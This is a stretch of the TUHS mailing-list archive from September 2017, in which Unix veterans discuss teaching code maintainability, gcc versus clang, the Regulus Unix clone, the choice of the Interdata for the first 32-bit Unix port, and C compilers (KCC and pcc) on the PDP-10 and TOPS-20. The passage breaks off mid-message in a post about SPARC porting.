 <36EA6EA0-D292-4042-A2B0-AC370DA930E8@kdbarto.org>
Message-ID: <CAC20D2P5-oH9N8H6Gvs0ME=yd8qAAZHRXSMxNVcxQWNHLTmG8Q@mail.gmail.com>

On Sat, Sep 16, 2017 at 4:09 PM, David <david at kdbarto.org> wrote:

>
> The other thing I did was to have students give their programs half
> way through the project to a randomly chosen (by me) other student.
> They were not allowed to assist the recipient and grades were based
> on how well the final program met the requirements given at the beginning
> of the project. Code quality went way up on the second project compared
> to the first.

​CMU used to have a required SW engineering course that did that.   It was
the 3rd course required after Data Structures and before Compilers, OS or
anything 'large.'  It was a Mary Shaw innovation.   I always thought it
was brilliant.   The CMU course assumed you worked in 3-4 person teams and
at least two transfers were done over the course of the semester.   Your
team was not allowed to replace whole sections of code.   If you thought
your team got screwed somehow, you could appeal to the TA, who could chose
to give you a different group's code yet; but could not use you own last
version.

CMU stopped teaching the course a few years ago - I gather it was really
tough to admin - students always b*tched about, but they did learn a lot of
practical stuff.   But when I took it, I thought it was one of the best
courses I had as an undergrad in ~75 (we build an airline reservation
system in Algol).   It was my first exposer to source control, peer review,
excellence in commenting, full documentation, etc.. -- so many ideas that I
so take for granted.

Clem
-------------- next part --------------
An HTML attachment was scrubbed...
URL: <http://minnie.tuhs.org/pipermail/tuhs/attachments/20170918/930e05dc/attachment.html>

From david at kdbarto.org  Tue Sep 19 00:23:35 2017
From: david at kdbarto.org (David)
Date: Mon, 18 Sep 2017 07:23:35 -0700
Subject: [TUHS] really Pottering vs UNIX
In-Reply-To: <CAC20D2P5-oH9N8H6Gvs0ME=yd8qAAZHRXSMxNVcxQWNHLTmG8Q@mail.gmail.com>
References: <mailman.1021.1505464341.3779.tuhs@minnie.tuhs.org>
 <36EA6EA0-D292-4042-A2B0-AC370DA930E8@kdbarto.org>
 <CAC20D2P5-oH9N8H6Gvs0ME=yd8qAAZHRXSMxNVcxQWNHLTmG8Q@mail.gmail.com>
Message-ID: <8ED0BDD9-275F-42D9-A7B5-5BB6F3D7A3A1@kdbarto.org>


> On Sep 18, 2017, at 7:17 AM, Clem Cole <clemc at ccc.com> wrote:
> 
> 
> 
> On Sat, Sep 16, 2017 at 4:09 PM, David <david at kdbarto.org> wrote:
> 
> The other thing I did was to have students give their programs half
> way through the project to a randomly chosen (by me) other student.
> They were not allowed to assist the recipient and grades were based
> on how well the final program met the requirements given at the beginning
> of the project. Code quality went way up on the second project compared
> to the first.
> ​CMU used to have a required SW engineering course that did that.   It was the 3rd course required after Data Structures and before Compilers, OS or anything 'large.'  It was a Mary Shaw innovation.   I always thought it was brilliant.   The CMU course assumed you worked in 3-4 person teams and at least two transfers were done over the course of the semester.   Your team was not allowed to replace whole sections of code.   If you thought your team got screwed somehow, you could appeal to the TA, who could chose to give you a different group's code yet; but could not use you own last version.
> 
> CMU stopped teaching the course a few years ago - I gather it was really tough to admin - students always b*tched about, but they did learn a lot of practical stuff.   But when I took it, I thought it was one of the best courses I had as an undergrad in ~75 (we build an airline reservation system in Algol).   It was my first exposer to source control, peer review, excellence in commenting, full documentation, etc.. -- so many ideas that I so take for granted.
> 
> Clem

I learned a lot myself by teaching the class in this way. One was that
some students didn’t need to be concerned about anything; they could
take almost any code and make it right. And at the other end were students
who, given any pre-existing code would never be able to make heads or
tails of it, regardless of the original quality of the code.

Still, I think that at the end everyone in the class came out ahead because
they understood that programming was never going to be a go it alone
proposition, you either started something you never finished or got to finish
something you didn’t start.

	David



From clemc at ccc.com  Tue Sep 19 00:44:37 2017
From: clemc at ccc.com (Clem Cole)
Date: Mon, 18 Sep 2017 10:44:37 -0400
Subject: [TUHS] How do we learn about maintainability - was Re: really
 Pottering vs UNIX
In-Reply-To: <deb5d145-90d7-c9ed-0984-9238e30d2308@telegraphics.com.au>
References: <201709151910.v8FJAIuv025809@elf.torek.net>
 <deb5d145-90d7-c9ed-0984-9238e30d2308@telegraphics.com.au>
Message-ID: <CAC20D2O32zdU4m5osakHihX8p1k4T9n4WXDhdBmzH5_pHfSTUA@mail.gmail.com>

On Sat, Sep 16, 20
​ ​
17 at 2:05 PM, Toby Thain <toby at telegraphics.com.au> wrote:

> ​...
>  I believe being a maintenance programmer on other
> people's code is so important; you'll be left with a real understanding
> of why good practice is important, and, quite likely, a fiery desire to
> try to make things better.
>
> I think any junior programmer would benefit from at least five years of
> maintenance experience. Giving them greenfield projects out of the gate,
> especially unsupervised, merely adds to the pile of unmaintainable stuff
> - while teaching them very little.


​I hear you and I agree in so many ways but .. but its hard to get someone,
particularly some one young and eager to to see that value.​   This is why
I like to have them work side-by-side with my my senior folks.   And
everyone does maintenance - everyone working on the same project.   I'll
carefully pick something for them to do.   But some of my best and creative
work, has come from some of my most junior folks - because they did not
know it was hard.  That said, it's my job to keep a weather eye on them.

But I want the sr folks doing the maintenance work also.   Just like when
is a system programmer, I was required to be and system operator (the grunt
task - changing tapes, paper, answering questions) at least 4 hours a
week.  Why?   because it was incentive to make sure we had the procedures
right and easy.



Jon described the effect of putting everyone together at Bell Labs
(and Tektronix).  I admit, Jon and I were lucky.   We grew up in
environments were we got to working most anything, but we were next to pros
(if not geniuses).   But we knew them as people and colleagues and they
quietly taught us.  And I picked up 'good taste' by readying their code,
looking at their designs; have been comment on mine.  Having them show me
something...

Clem
-------------- next part --------------
An HTML attachment was scrubbed...
URL: <http://minnie.tuhs.org/pipermail/tuhs/attachments/20170918/1fae963c/attachment.html>

From scj at yaccman.com  Tue Sep 19 01:11:04 2017
From: scj at yaccman.com (Steve Johnson)
Date: Mon, 18 Sep 2017 08:11:04 -0700
Subject: [TUHS] Happy birthday, Dennis Ritchie!
In-Reply-To: <65d836b4-f6c0-c03f-aa81-9ce0e52ea78b@case.edu>
Message-ID: <92ed3f0f463d076015bf8e8294ebca457ba53e76@webmail.yaccman.com>

If imitation is the sincerest form of flattery,  I suppose those of
us who worked on Unix should be very flattered.  I just wish they had
imitated the programming style and sense of taste.  The gcc
 _manual_ is 500 pages -- bigger than the entire Unix distribution. 
The options alone are almost 100 pages.  The average line in the
source code is an ifdef of some machine you've never heard of.  If
you are doing anything the slightest bit unusual (e.g., increasing the
default stack size) you need a different option for each machine
target.  Hmm, I thought the point of C was to be portable...

I recently started using clang, and I'm never going back to gcc.  I
feel so much cleaner now...

Steve

----- Original Message -----
From:
 chet
.ramey
@case.edu

To:
"Ron Natalie" <ron
@ronnatalie
.com>, "Larry McVoy
" <lm
@mcvoy
.com>, "Theodore Ts'o
" <tytso
@mit
.edu
>
Cc:
<tuhs
@minnie
.tuhs
.org>
Sent:
Sun, 17 Sep
 2017 14:37:59 -0400
Subject:
Re: [TUHS
] Happy birthday, Dennis Ritchie
!

 On 9/16/17 8:59 AM, Ron Natalie wrote:
 > RMS
 hates UNIX. That was clear in the original manifesto. But he's also
 > a megalomaniac and believes that if you even use a GNU tool your
work
 > becomes his.

 Nah, this is BS. Stallman
 might not like Unix, and he clearly has a very
 large ego -- as do many of us here -- but that "belief" is just crap.
The
 thing that comes closest to it is bison, and the output of bison is
 explicitly excluded. There is the issue of GPL
 libraries (like readline
),
 and that's a pain for people who want to link with them, but that
doesn't
 count as "even use a GNU tool."

 -- 
 ``The lyf
 so short, the craft so long to lerne
.''
 - Chaucer
 ``Ars
 longa
, vita brevis''
 - Hippocrates
Chet
 Ramey
, UTech
, CWRU
 chet
@case.edu
 http
://cnswww
.cns
.cwru
.edu
/~chet
/

-------------- next part --------------
An HTML attachment was scrubbed...
URL: <http://minnie.tuhs.org/pipermail/tuhs/attachments/20170918/2f11b6f0/attachment.html>

From krewat at kilonet.net  Tue Sep 19 01:30:19 2017
From: krewat at kilonet.net (Arthur Krewat)
Date: Mon, 18 Sep 2017 11:30:19 -0400
Subject: [TUHS] PDP-10 UNIX?
In-Reply-To: <9e3b00fa-3688-73d1-b79c-b88c3bd99bdb@update.uu.se>
References: <mailman.1031.1505666037.3779.tuhs@minnie.tuhs.org>
 <9e3b00fa-3688-73d1-b79c-b88c3bd99bdb@update.uu.se>
Message-ID: <2962b49c-83ae-44a1-c07e-f46cde74a41d@kilonet.net>

On 9/17/2017 10:34 PM, Johnny Billquist wrote:
> On 2017-09-17 18:33, Arthur Krewat <krewat at kilonet.net> wrote:
>
>> Was there ever a UNIX or even the thought of porting one to a PDP-10?
>
> Definitely a thought. An attempt was started on NetBSD for the PDP-10, 
> and it sortof got halfway of getting into single-user, but I'm not 
> sure if the person who worked on it just got distracted, or if he hit 
> problems that were really hard to solve. I certainly know the person, 
> and can find out more if people really are interested.
>
I for one would be VERY interested. It would be an interesting exercise 
to try it out on a SIMH emulator.
>> 8-bit bytes would have been a wasteful exercise, but you never know.
>> (losing 4 bits of every 36-bit word)
>
> Uh... Why 8 bit bytes? That way lies madness. There exists a really 
> good C compiler for TOPS-20 - KCC. It uses 9 bits per byte. Works like 
> a charm, except when some people write portable code that is not so 
> portable. ;-)
>
> KCC was written by KLH, unless I remember wrong. Same guy who also 
> wrote the KLH-10 emulator.
9 bits would work - and still, waste 4 bits of the 36-bit word ... any 
code carried over from elsewhere would never use the 9th bit unless you 
know of stuff that does?

And yup, I remember KLH, not personally, but as the KLH-10 author :)



From paul.winalski at gmail.com  Tue Sep 19 02:41:26 2017
From: paul.winalski at gmail.com (Paul Winalski)
Date: Mon, 18 Sep 2017 12:41:26 -0400
Subject: [TUHS] Weird nix? Regulus
In-Reply-To: <601911ED-162B-47E6-ADB5-4BB31EE6D733@kdbarto.org>
References: <mailman.1029.1505658197.3779.tuhs@minnie.tuhs.org>
 <601911ED-162B-47E6-ADB5-4BB31EE6D733@kdbarto.org>
Message-ID: <CABH=_VSdNA3yS8Ydd7dPXHfLAcLBB+8znx1VCQc_EVsYrtbASA@mail.gmail.com>

On 9/17/17, David <david at kdbarto.org> wrote:
> What a pain, almost like Unix, and not quite. l It was a clone of Unix for
> the 68k. The APIs were ever so slightly different because the authors were
> concerned about copyright infringement. libc calls had different argument
> orders or types and in general it was just off enough that you wanted to
> claw at the screen every time something went wrong.

And the tragic irony is that those sorts of cosmetic tricks don't
shield you from copyright infringement.

-Paul W.


From krewat at kilonet.net  Tue Sep 19 02:42:02 2017
From: krewat at kilonet.net (Arthur Krewat)
Date: Mon, 18 Sep 2017 12:42:02 -0400
Subject: [TUHS] PDP-10 UNIX?
In-Reply-To: <CAC20D2O1_qteChioos=Kgt0aq1YCxpbNR7eAHW1PUWqox=LUKQ@mail.gmail.com>
References: <d90d0034-b138-4b76-c28d-865d5839613e@kilonet.net>
 <CANCZdforuA-Qtuyw9fr9BDXQ+vZ+YRgLw0ahchCwwtvT7u=RUA@mail.gmail.com>
 <7wk20x5py1.fsf@junk.nocrew.org>
 <751d6686-0620-9a9a-9055-55538e913fa5@kilonet.net>
 <CAC20D2O1_qteChioos=Kgt0aq1YCxpbNR7eAHW1PUWqox=LUKQ@mail.gmail.com>
Message-ID: <ca241180-8031-f1d4-1d8f-382620ff2c4c@kilonet.net>

The MACRO-10 assembler used a keyword ASCIIZ to store that 
7-bit/1-bit-wasted ASCII format.

MOVEI 0,[ASCIIZ /Hello there
/]

for example. It was the defacto standard for null-terminated ASCII strings.

When I later moved to C on 8/16-bit computers, I remember thinking 
"what's with this signed 8-bit char thing?" ;)

There was also SIXBIT - almost everything ASCII had, but only upper 
case. The filesystem used that for filenames and extensions, and it was 
used in a few other areas. So any library calls like open() would have 
had to convert the ASCII filename to SIXBIT before doing any monitor calls.

On 9/18/2017 9:50 AM, Clem Cole wrote:
>
>
> On Sun, Sep 17, 2017 at 11:22 AM, Arthur Krewat <krewat at kilonet.net 
> <mailto:krewat at kilonet.net>> wrote:
>
>     I have a C compiler for TOPS-10 that I got off the Internet back
>     in 1988. Still haven't messed around with it enough to get it to
>     run, but ...
>
> ​There was a PDP-10 C compiler in the late 1970s, that was kicking 
> around CMU, MIT and Stanford which we used to write backup10 and ​and 
> an implementation of tar.   IIRC, it was based on the the Ritchie 
> front end and was V6 in syntax (i.e. pre-V7 or typesetter C - aka 
> 'White Book).   I've forgotten the rules of chars, but I remember you 
> had to be careful.   I think it was 4 9-bit chars to transfer things 
> (4*9=36 bits), but I think I remember there were cases on output that 
> it wanted to wash it through a 7-bit PDP-10 char (5*7+1 =36bits) which 
> was the 'norm' for most languages like SAIL, BLISS et al.
>
> I did not mess with much, but that time, I was transitioning from the 
> 10's to UNIX by that time.   I added support for the -20's dumper 
> tapes to backup10 which were almost but not quite the same.  But that 
> was the last I messed with it. Mike Accetta and Fil Aliva (of CMU Mach 
> fame) I remember had their had in that subsystem, at one point.  And 
> of course Danny Klein is always a good one from those days to ask too. 
> I'll see if I can dig them up and ask.
>

-------------- next part --------------
An HTML attachment was scrubbed...
URL: <http://minnie.tuhs.org/pipermail/tuhs/attachments/20170918/26ad8ccd/attachment.html>

From scj at yaccman.com  Tue Sep 19 02:46:29 2017
From: scj at yaccman.com (Steve Johnson)
Date: Mon, 18 Sep 2017 09:46:29 -0700
Subject: [TUHS] PDP-10 UNIX?
In-Reply-To: <2962b49c-83ae-44a1-c07e-f46cde74a41d@kilonet.net>
Message-ID: <5c2fe0d9c8cc5b6b90c7646d2fad5a3cb459d996@webmail.yaccman.com>

When we decided to port Unix to 32-bits, there were a number of
candidates we looked at, including the IBM-360, the DEC-20, and the
Interdata.   The Vax was barely there at the time, and we also felt
a bit of pressure to use a non-Dec machine because some manufacturers
were muttering about a too-close association of ATT & Dec that was
incompatible with our status as a regulated monopoly.  It was also
clear that being able to buy compatible Unix machines from several
different manufacturers would ultimately drive the prices down and be
good for ATT.

Dennis hated the channel I/O on the 360, and I hated the little
pinhole glimpses of memory that could only be seen by loading a
register--that really clashed with the "one flat memory" model in C. 
For the DEC-20, the word size was indeed a problem.  We had built a C
compiler for the 36-bit Honeywell machine, and it was quite happy to
have 9-bit bytes (in fact, their OS supported this).  But at the
time, tape drives were the major way large data got into and out of a
machine, and they all liked 8-bit bytes.  And there were issues in
both C and Unix if the byte size didn't evenly divide the word size
(think malloc, unions, sizeof, etc.).  So the 20 was out.

The Interdata was a good compromise.  The machine had been used in a
lot of flight simulators, etc., so it had a track record.  It was
similar to an IBM-360, but had an address mode for addressing memory
directly with no base registers.  And we bought the machine with
writable microcode, which we had some ideas of playing with.

As it turned out, the biggest problems in porting were taking
little-endian code and data and putting it on a big-endian machine,
dealing with the consequences of having more registers, and the effect
of this on process switching and debugging (stack traces, etc.).  The
pre-V7 system calls liked to return -1 when there was an error -- V7
wanted to see nulls.  This turned out to be a critical problem -- if
an old-style call with -1 got returned and taken to be a pointer, the
Interdata generated a double fault--trying to read a word with an
odd-byte address, and memory out of bounds.  Sadly, these faults came
in several subtics apart, and the result was that the address of the
fault got trashed, leaving the machine to resume at location 0 with no
hint about how it got there.

For this and other reasons, Ken and Dennis invented the header file
concept -- previously, the structs that described data structures like
inodes were printed in the manual, and copied out by hand when they
were used.  By this point, Lint was a going concern, and I hacked a
version of Lint that insisted that when a structure was declared more
than once, the declarations must come from the same physical
location.  This was a big help in rooting out hidden obsolete
structure definitions and forcing the use of header files.

The port ended up being fairly successful.  The connection with
Interdata less so.  At one point there was a meeting attended by me,
Dennis, Ken, and several managers.  We went to Interdata and met in a
building that used to be a bank -- the meeting room was in the old
vault.  We told Interdata what we had done, and  gave them some
information about the growth of Interest in Unix.  We then said that
the machine needed some fixes before we could deploy a general-purpose
system on it -- the -1 botch was the biggie, because we could not have
a broken user program turn the machine into a stone.  Interdata
listened politely.  Several days later they said 'not interested".

One thing I noticed over the years is that there are very few people
who, having done one Unix port, were willing to do another.  I
certainly wasn't interested.  After the first time, there is little
to learn, and the tedium of debugging a compiler and OS on a bare
machine, when the documentation of the machine was hastily written and
often incomplete, was frustrating almost beyond describing.  So it
was another group in Bell Labs that jumped on the Vax and made an
effective and lasting 32-bit port.

Steve

----- Original Message -----
From: "Arthur Krewat" <krewat at kilonet.net>
To:<tuhs at minnie.tuhs.org>
Cc:
Sent:Mon, 18 Sep 2017 11:30:19 -0400
Subject:Re: [TUHS] PDP-10 UNIX?

 On 9/17/2017 10:34 PM, Johnny Billquist wrote:
 > On 2017-09-17 18:33, Arthur Krewat <krewat at kilonet.net> wrote:
 >
 >> Was there ever a UNIX or even the thought of porting one to a
PDP-10?
 >
 > Definitely a thought. An attempt was started on NetBSD for the
PDP-10, 
 > and it sortof got halfway of getting into single-user, but I'm not 
 > sure if the person who worked on it just got distracted, or if he
hit 
 > problems that were really hard to solve. I certainly know the
person, 
 > and can find out more if people really are interested.
 >
 I for one would be VERY interested. It would be an interesting
exercise 
 to try it out on a SIMH emulator.
 >> 8-bit bytes would have been a wasteful exercise, but you never
know.
 >> (losing 4 bits of every 36-bit word)
 >
 > Uh... Why 8 bit bytes? That way lies madness. There exists a really

 > good C compiler for TOPS-20 - KCC. It uses 9 bits per byte. Works
like 
 > a charm, except when some people write portable code that is not so

 > portable. ;-)
 >
 > KCC was written by KLH, unless I remember wrong. Same guy who also 
 > wrote the KLH-10 emulator.
 9 bits would work - and still, waste 4 bits of the 36-bit word ...
any 
 code carried over from elsewhere would never use the 9th bit unless
you 
 know of stuff that does?

 And yup, I remember KLH, not personally, but as the KLH-10 author :)


-------------- next part --------------
An HTML attachment was scrubbed...
URL: <http://minnie.tuhs.org/pipermail/tuhs/attachments/20170918/fb60ed1f/attachment.html>

From beebe at math.utah.edu  Tue Sep 19 03:24:52 2017
From: beebe at math.utah.edu (Nelson H. F. Beebe)
Date: Mon, 18 Sep 2017 11:24:52 -0600
Subject: [TUHS] PDP-10 UNIX?
Message-ID: <CMM.0.95.0.1505755492.beebe@gamma.math.utah.edu>

I worked on, and co-managed, TOPS-20 on DECsystem 20/40 and 20/60
systems with the PDP-10 KL-10 CPU from September 1978 to 31 October
1990, when our 20/60 was retired.  (A second 20/60 on our campus in
the Department of Computer Science had been retired a year or two
earlier).

There were two C compilers on the system, Ken Harrenstien's kcc, and
Steve Johnson's pcc, the latter ported to TOPS-20 by my late friend
Jay Lepreau (1952--2008).

pcc was a straightforward port intended to make C programming, and
porting of C software, fairly easy on the PDP-10, but without
addressing many of the architectural features of that CPU.

kcc was written by Ken Harrenstien from scratch, and designed
explicitly for support of the PDP-10 architecture.  In particular, it
included an O/S system call interface (the JSYS instruction), and
support for pointers to all byte sizes from 1 to 36.  Normal
addressing on the PDP-10 is by word, with an 18-bit address space.
Thus, two 18-bit fields fit in a 36-bit word, ideally suited for
Lisp's CAR and CDR (contents of address/decrement register, used for
first and rest addressing of lists).  However, PDP-10 byte pointers
encode the byte size and offset in the second half of a word.

Pointer words could contain an indirect bit, which caused the CPU to
automatically load a memory word at that address, and repeat if that
word was found to be an indirect pointer.  That processing was handled
by the LOAD instructions, so it worked for all programming languages.

Characters on the ten-or-so different PDP-10 operating systems were
normally 7-bit ASCII, stored left to right in a word, with the
right-most low-order bit set to 0, UNLESS the word was intended to be
a 5-decimal-digit line number, in which case, that bit was set to 1.
Compilers and some other tools ignored line-number words.

As the need to communicate with other systems with 8-, 16-, and 32-bit
words grew, we had to accommodate files with 8-bit characters, which
could be stored as four left-adjusted characters with 4 rightmost zero
bits, or handled as 9 consecutive 8-bit characters in two adjacent
36-bit words.  That was convenient for binary file transfer, but I
don't recall ever seeing 9-bit characters used for text files.

By contrast, on the contemporary 36-bit Univac 11xx systems running
EXEC-8, the O/S was extended from 6 six-bit Fieldata chararacters per
word to 9-bit extended ASCII (and ISO 8859-n Latin-n) characters: the
reason was that the Univac CPU had quarterword access instructions,
but not arbitrary byte-size instructions like the PDP-10.  I don't
think that there ever was a C compiler on those Univac systems.

On the PDP-10, memory locations 0--15 are mapped to machine registers
of those numbers: short loops could be copied into those locations and
would then run about 3x faster, if there weren't too many memory
references.  Register 0 was not hardwired to a zero value, so
dereferencing a NULL pointer could return any address, and could even
be legitimate in some code.  The kcc documentation reports:

>> ...
>> 	The "NULL" pointer is represented internally as a zero word,
>> i.e. the same representation as the integer value 0, regardless of
>> the type of the pointer.  The PDP-10 address 0 (AC 0) is zeroed and
>> never used by KCC, in order to help catch any use of NULL pointers.
>> ...

In kcc, the C fopen() call second argument was extended with extra
flag letters:

>> ...
>>          The user can override either the bytesize or the conversion
>>  by adding explicit specification characters, which should come after
>>  any regular specification characters:
>>          "C"     Force LF-conversion.
>>          "C-"    Force NO LF-conversion.
>>          "7"     Force 7-bit bytesize.
>>          "8"     Force 8-bit bytesize.
>>          "9"     Force 9-bit bytesize.
>>          "T"     Open for thawed access (TOPS-10/TENEX only)
>> 
>>          These are KCC-specific however, and are not portable to other
>>  systems.  Note that the actual LF conversion is done by the USYS (Unix
>>  simulation) level calls (read() and write()) rather than STDIO.
>> ...

As the PDP-10 evolved, addressing was extended from 18 bits to 22
bits, and kcc had support for such extended addresses.

Inside the kcc compiler,

>> ...
>> 	Chars are aligned on 9-bit byte boundaries, shorts on halfword
>> boundaries, and all other data types on word boundaries (with the
>> exception of bitfields and the _KCCtype_charN types).  Converting any
>> pointer to a (char *) and back is always possible, as a char is the
>> smallest possible object.  If the original object was larger than a
>> char, the char pointer will point to the first byte of the object; this
>> is the leftmost 9-bit byte in a word (if word-aligned) or in the halfword
>> (if a short).
>> ...

That design choice meant that the common assumption that a 32-bit word
holds 4 characters remained true on the PDP-10.  The _KCCtype_charN
types could have N from 1 to 36.  The case N = 6 was special: it
handled the SIXBIT character representation used by compilers,
linkers, and the O/S to encode external function names mapped to a
6-bit character set unique to the PDP-10, allowing 6-character unique
names for symbols.

I didn't readily find documentation of kcc features on the Web, so for
those who would like to learn more about support of C and Unix code on
the PDP-10, I created this FTP/Web site today:

	http://www.math.utah.edu/pub/kcc
	 ftp://ftp.math.utah.edu/pub/kcc

It supplies several *.doc files; the user.doc file is likely the one
of most interest for this discussion.

Getting C onto TOP-20 was hugely important for us, because it gave us
access to many Unix tools (I was the first to port Brian Kernighan's
awk language to the PDP-10, and also to the VAX VMS native C
compiler), and eased the transition from TOPS-20 to Unix that began
for our users about 1984, and continued until our complete move in
summer 1991, when we retired our last VAX VMS systems.

Finally, here is a pointer to a document that I wrote about that
transition:

	http://www.math.utah.edu/~beebe/reports/1987/t20unix.pdf

P.S. I'll be happy to entertain further questions about these two C
compilers on the PDP-10, offline if you prefer, or on this list.

-------------------------------------------------------------------------------
- Nelson H. F. Beebe                    Tel: +1 801 581 5254                  -
- University of Utah                    FAX: +1 801 581 4148                  -
- Department of Mathematics, 110 LCB    Internet e-mail: beebe at math.utah.edu  -
- 155 S 1400 E RM 233                       beebe at acm.org  beebe at computer.org -
- Salt Lake City, UT 84112-0090, USA    URL: http://www.math.utah.edu/~beebe/ -
-------------------------------------------------------------------------------


From clemc at ccc.com  Tue Sep 19 03:25:41 2017
From: clemc at ccc.com (Clem Cole)
Date: Mon, 18 Sep 2017 13:25:41 -0400
Subject: [TUHS] PDP-10 UNIX?
In-Reply-To: <5c2fe0d9c8cc5b6b90c7646d2fad5a3cb459d996@webmail.yaccman.com>
References: <2962b49c-83ae-44a1-c07e-f46cde74a41d@kilonet.net>
 <5c2fe0d9c8cc5b6b90c7646d2fad5a3cb459d996@webmail.yaccman.com>
Message-ID: <CAC20D2O3KDoNSHsarY6HDZfrzdTx1UuMz9QCpJ+4XNmERE-idQ@mail.gmail.com>

On Mon, Sep 18, 2017 at 12:46 PM, Steve Johnson <scj at yaccman.com> wrote:

>
>
> ​...
>  After the first time, there is little to learn, and the tedium of
> debugging a compiler and OS on a bare machine, when the documentation of
> the machine was hastily written and often incomplete, was frustrating
> almost beyond describing.
>

​+1​ And the HW does quite work the way it claimed too....
It's fun ... once  :-)

Clem
-------------- next part --------------
An HTML attachment was scrubbed...
URL: <http://minnie.tuhs.org/pipermail/tuhs/attachments/20170918/fcf10080/attachment.html>

From lm at mcvoy.com  Tue Sep 19 03:40:11 2017
From: lm at mcvoy.com (Larry McVoy)
Date: Mon, 18 Sep 2017 10:40:11 -0700
Subject: [TUHS] PDP-10 UNIX?
In-Reply-To: <CAC20D2O3KDoNSHsarY6HDZfrzdTx1UuMz9QCpJ+4XNmERE-idQ@mail.gmail.com>
References: <2962b49c-83ae-44a1-c07e-f46cde74a41d@kilonet.net>
 <5c2fe0d9c8cc5b6b90c7646d2fad5a3cb459d996@webmail.yaccman.com>
 <CAC20D2O3KDoNSHsarY6HDZfrzdTx1UuMz9QCpJ+4XNmERE-idQ@mail.gmail.com>
Message-ID: <20170918174011.GM3272@mcvoy.com>

On Mon, Sep 18, 2017 at 01:25:41PM -0400, Clem Cole wrote:
> On Mon, Sep 18, 2017 at 12:46 PM, Steve Johnson <scj at yaccman.com> wrote:
> 
> >
> >
> > ???...
> >  After the first time, there is little to learn, and the tedium of
> > debugging a compiler and OS on a bare machine, when the documentation of
> > the machine was hastily written and often incomplete, was frustrating
> > almost beyond describing.
> >
> 
> ???+1??? And the HW does quite work the way it claimed too....
> It's fun ... once  :-)

Wussies, I did it twice :)  Not really true, I worked a port to the ETA-10
and managed a group that was doing a bringup on a MIPS chip (Cobalt Qube).
I had more of a clue the second time around, actually quit over it.

The details, if you care, were that I was brought in as the director
of software, there was no VP, I reported to the CEO.  I was assured 
that I would be treated like a founder, yada yada.

OK, some time goes by and the CEO wants a schedule.  Be aware that
things were a mess, no backups, no nightly builds, no source control,
engineers were hoarding "their" code on their machines.  It was little
disfunctional, but I was straightening all that out, had it pretty
much under control by the time they asked for a schedule.

We were using GCC which hadn't had a ton of MIPS time under its belt,
and Linux, which was in the same state.  We could boot a kernel but
it crashed (I think, this was a long time ago).

Anyway, they wanted a fast schedule (don't they always?) and I looked
around and said "6 months".  Which was aggressive but I felt it was
doable, the kernel was booting, once you get that stable, userland tends
to fall into place.  We were also developing a web interface to the box,
that was the whole point, it was a "web server in a box" with a web UI,
no login for you (well there was but we weren't supposed to use it).

They freaked at the schedule.  "The board will never go for that!"

So I called Bill Earl, who has done more bringups on MIPS chips than
anyone, period.  At least so far as I knew at the time, still don't
know of anyone who has done more.  He asked a bunch thoughtful questions
and said "weeeeell, maybe you could do it in 3 months.  If you don't hit
any bugs."  I asked "Would you bet your kids college education on it?"
He said "Oh, hell no, I wouldn't bet $20 that you'll make it in 3 months.
You hit one compiler bug, that could blow the whole schedule easy."

So I go back to the CEO and said "6 months".  He's all pissed and says
he'll take it to the board.  I say I want to be there to make my case.
He says "Nope, you aren't an executive."  I handed in my resignation.
Founder my ass.

--lm


From lars at nocrew.org  Tue Sep 19 04:10:14 2017
From: lars at nocrew.org (Lars Brinkhoff)
Date: Mon, 18 Sep 2017 18:10:14 +0000
Subject: [TUHS] PDP-10 UNIX?
In-Reply-To: <CMM.0.95.0.1505755492.beebe@gamma.math.utah.edu> (Nelson
 H. F. Beebe's message of "Mon, 18 Sep 2017 11:24:52 -0600")
References: <CMM.0.95.0.1505755492.beebe@gamma.math.utah.edu>
Message-ID: <7w377j6fp5.fsf@junk.nocrew.org>

Nelson H. F. Beebe wrote:
> kcc was written by Ken Harrenstien from scratch

Rewritten maybe?  Some KCC source code files have the comment

    "Original version (c) 1981 K. Chen"

which I take to mean referencing Kok Chen.


> P.S. I'll be happy to entertain further questions about these two C
> compilers on the PDP-10, offline if you prefer, or on this list.

You never heard about one by Alan Snyder?


From dfawcus+lists-tuhs at employees.org  Tue Sep 19 05:54:27 2017
From: dfawcus+lists-tuhs at employees.org (Derek Fawcus)
Date: Mon, 18 Sep 2017 20:54:27 +0100
Subject: [TUHS] Weird nix? Regulus
Message-ID: <20170918195427.GA81302@accordion.employees.org>

> What a pain, almost like Unix, and not quite. l It was a clone of Unix for the 68k.

Funny, I was just poking through some ccpm68k source/tools, which happened to contain
the Alcyon C compiler source,  and one of the files is:

$ cat v103/doc/files/Sectioname
.fo 'REGULUS Reference Manual'- % -'FILES'
$

The same system?

DF


From lars at nocrew.org  Tue Sep 19 05:58:55 2017
From: lars at nocrew.org (Lars Brinkhoff)
Date: Mon, 18 Sep 2017 19:58:55 +0000
Subject: [TUHS] PDP-10 UNIX?
In-Reply-To: <CAC20D2O1_qteChioos=Kgt0aq1YCxpbNR7eAHW1PUWqox=LUKQ@mail.gmail.com>
 (Clem Cole's message of "Mon, 18 Sep 2017 09:50:50 -0400")
References: <d90d0034-b138-4b76-c28d-865d5839613e@kilonet.net>
 <CANCZdforuA-Qtuyw9fr9BDXQ+vZ+YRgLw0ahchCwwtvT7u=RUA@mail.gmail.com>
 <7wk20x5py1.fsf@junk.nocrew.org>
 <751d6686-0620-9a9a-9055-55538e913fa5@kilonet.net>
 <CAC20D2O1_qteChioos=Kgt0aq1YCxpbNR7eAHW1PUWqox=LUKQ@mail.gmail.com>
Message-ID: <7wshfj4w3k.fsf@junk.nocrew.org>

Clem Cole wrote:
> ​There was a PDP-10 C compiler in the late 1970s, that was kicking
> around CMU, MIT and Stanford

When you say MIT, do you know if that was at the AI lab (i.e. ITS), or
elsewhere?


From torek at torek.net  Tue Sep 19 06:08:05 2017
From: torek at torek.net (Chris Torek)
Date: Mon, 18 Sep 2017 13:08:05 -0700
Subject: [TUHS] PDP-10 UNIX?
In-Reply-To: Your message of "Mon, 18 Sep 2017 13:25:41 -0400."
 <CAC20D2O3KDoNSHsarY6HDZfrzdTx1UuMz9QCpJ+4XNmERE-idQ@mail.gmail.com>
Message-ID: <201709182008.v8IK85Ie043490@elf.torek.net>

>> After the first time, there is little to learn, and the tedium of
>> debugging a compiler and OS on a bare machine, when the documentation of
>> the machine was hastily written and often incomplete, was frustrating
>> almost beyond describing.

>+1  And the HW does [not] quite work the way it claimed too....
>It's fun ... once  :-)

I've done more than one, although it was the "same machine" in
various ways: SPARC v7, v8, and v9, on sun4c, sun4m, and sun4u.

The sun4u was the most frustrating hardware-bug-wise.  The
architecture book specifically said that the indexing in the cache
(left vs right half, as it were) was strictly based on the virtual
